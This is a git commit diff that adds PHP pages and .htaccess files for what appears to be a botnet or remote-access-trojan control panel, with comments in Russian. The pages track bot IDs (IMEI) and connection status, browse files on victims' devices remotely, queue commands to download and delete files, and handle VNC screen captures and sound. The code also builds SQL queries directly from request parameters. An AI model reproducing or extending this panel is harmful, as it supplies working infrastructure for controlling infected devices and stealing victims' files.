initial commit

This commit is contained in:
i2p
2026-08-27 10:50:54 -06:00
commit 97a5f0aa12
3172 changed files with 570428 additions and 0 deletions
@@ -0,0 +1,17 @@
AddDefaultCharset utf-8
AddCharset utf-8 *
<IfModule mod_charset.c>
CharsetSourceEnc utf-8
CharsetDefault utf-8
</IfModule>
<FilesMatch ".(php|phtml|php3|php4|html|htm|js|css|htaccess|zip)$">
Order Allow,Deny
Deny from all
</FilesMatch>
+66
View File
@@ -0,0 +1,66 @@
<?php
session_start();
$statusCode=false;
if(!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT * FROM ws WHERE id='1'");
$statement->execute();
global $botid;
global $lastconnect;//будет как таймер
foreach($statement as $row){
$botid = $row['botid'];
$lastconnect = $row['lastconnect'];
}
//$lastconnect = date('Y-m-d H:i');
$seconds=-1;
if(strlen($lastconnect)>5){
//******Получаем иконку состояния бота, вычисляем дату****
$arr_data_from = explode(" ", $lastconnect);
$arr_data_till = explode(" ", date('Y-m-d H:i'));
$date_from = $arr_data_from[0];
$date_till = $arr_data_till[0];
$date_from = explode('-', $date_from);
$date_till = explode('-', $date_till);
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
//----------Секунды!-------/
$date1 = new \DateTime($lastconnect);
$date2 = new \DateTime(date('Y-m-d H:i'));
$diff = $date2->diff($date1);
// разница в секундах
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
($diff->m * 30 * 24 * 60 * 60) +
($diff->d * 24 * 60 * 60) +
($diff->h * 60 * 60) +
($diff->i * 60) +
$diff->s;
}
$strSecond = '';
if(($seconds>=0)&&($seconds<=14)){
$strSecond = "Connected";
}
echo "ID Bots: <a>$botid</a></br>";
echo "Status: <a style='color: #5ad65a'>$strSecond</a>";
}
?>
@@ -0,0 +1,79 @@
<?php
session_start();
$statusCode=false;
if(!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /login.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /login.php");
}else{
$statusCode=true;
}
}
if($statusCode){
include '../../config.php';
include_once '../database/webSocket.php';
$database = new database;
$path = $database->ws_GetPath();
if($path=="") $path = "/";
$FileFolder = $database->ws_GetFileFolder();
$file = explode('!!!!', $FileFolder)[2];
$folder = explode('!!!!', $FileFolder)[1];
$arrayFile = explode('|', $file);
$arrayFolder= explode('|', $folder);
$command = $database->ws_GetCommand();
$command = str_replace('opendir:','',$command);
$command = str_replace('!!!!','',$command);
echo "
<center>File System</center></br>
<div style='background:#1D1F24; text-align: left; margin-left:10px '>
<input type='hidden' id='savepath' value='$path'/>
<a style='background:#1D1F24; ' >Path: $path</a></br>
<a style='background:#1D1F24; ' >Command: $command</a></br>
</div>
<center>
<div style='width:98%; height: 1px; background:#333' ></div></br>
</center>
";
echo "<div style='background:#1D1F24; text-align: left; margin-left:10px; margin-botton:10px; overflow: auto; max-height: 300px;'>";
if(($file=="")&&($folder=="")){
if($path!=="/"){
echo "<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>..</a></br>";
}
echo "</br></br></br></br></br>";
}else{
if($path=="/"){}else{
echo "<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>..</a></br>";
}
}
foreach($arrayFolder as $fold){
if($fold !== "")echo "<span class='glyphicon glyphicon-folder-open' aria-hidden='true' style='color:#337ab7'></span>
<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>$fold</a>
<a href='javascript:void(addcommand(\"deletefilefolder:$path/$fold!!!!\"))' class='glyphicon glyphicon-remove' aria-hidden='true' style='color:#337ab7' ></a></br>";
}
foreach($arrayFile as $fil){
if($fil !== "")echo "<span class='glyphicon glyphicon-file' aria-hidden='true' style='color:#337ab7'></span>
<a style='background:#1D1F24;'>$fil</a>
<a href='javascript:void(addcommand(\"downloadfile:$path/$fil!!!!\"))' class='glyphicon glyphicon-cloud-download' aria-hidden='true' style='color:#337ab7' ></a>
<a href='javascript:void(addcommand(\"deletefilefolder:$path/$fil!!!!\"))' class='glyphicon glyphicon-remove' aria-hidden='true' style='color:#337ab7' ></a></br>";
}
echo "</div>
<center>
<div style='width:98%; height: 1px; background:#333; margin-top: 20px' ></div></br>
</center>
";
$database = new database;
$database->ws_UpdateStatusFileFolder('0');
}
@@ -0,0 +1,17 @@
AddDefaultCharset utf-8
AddCharset utf-8 *
<IfModule mod_charset.c>
CharsetSourceEnc utf-8
CharsetDefault utf-8
</IfModule>
<FilesMatch ".(php|phtml|php3|php4|html|htm|js|css|htaccess|zip)$">
Order Allow,Deny
Deny from all
</FilesMatch>
+99
View File
@@ -0,0 +1,99 @@
<?php
session_start();
$statusCode=false;
if(!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /login.php");
}else{
if($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /login.php");
}else{
$statusCode=true;
}
}
if($statusCode){
if((isset($_GET['server'])&&($_GET['server'])=="goserverstop")){
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET statusserver='0' WHERE id='1'");
$statement->execute();
}
if(isset($_GET['pathFileFolder'])){
$command = $_GET['pathFileFolder'];
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET command='$command' WHERE id='1'");
$statement->execute([$command]);
}
if(isset($_GET['statusfilefolder'])){
$statusfilefolder = $_GET['statusfilefolder'];
if($statusfilefolder=="get"){
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT statusfilefolder FROM ws WHERE id='1'");
$statement->execute([$statusfilefolder]);
foreach($statement as $row){
echo $row['statusfilefolder'];
}
}
}
if(isset($_GET['deletevncimage'])){
$deletevncimage = $_GET['deletevncimage'];
if($deletevncimage=="deletejpgvnc"){
@unlink("VNC.jpg");
}
}
if(isset($_GET['statvnc'])){
$vncscreen = $_GET['statvnc'];
if($vncscreen=="get"){
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT vncscreen FROM ws WHERE id='1'");
$statement->execute();
foreach($statement as $row){
echo $row['vncscreen'];
}
}
}
if(isset($_GET['vncupdateimage'])){
$vncscreen = $_GET['vncupdateimage'];
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET vncscreen='$vncscreen' WHERE id='1'");
$statement->execute([$vncscreen]);
}
if(isset($_GET['sound'])){
$getsound = $_GET['sound'];
if($getsound=="get"){
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT sound FROM ws WHERE id='1'");
$statement->execute();
foreach($statement as $row){
echo $row['sound'];
}
}
}
if(isset($_GET['updateimei'])){
$botid = $_GET['updateimei'];
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET botid='$botid', lastconnect='' WHERE id='1'");
$statement->execute([$botid]);
}
}
?>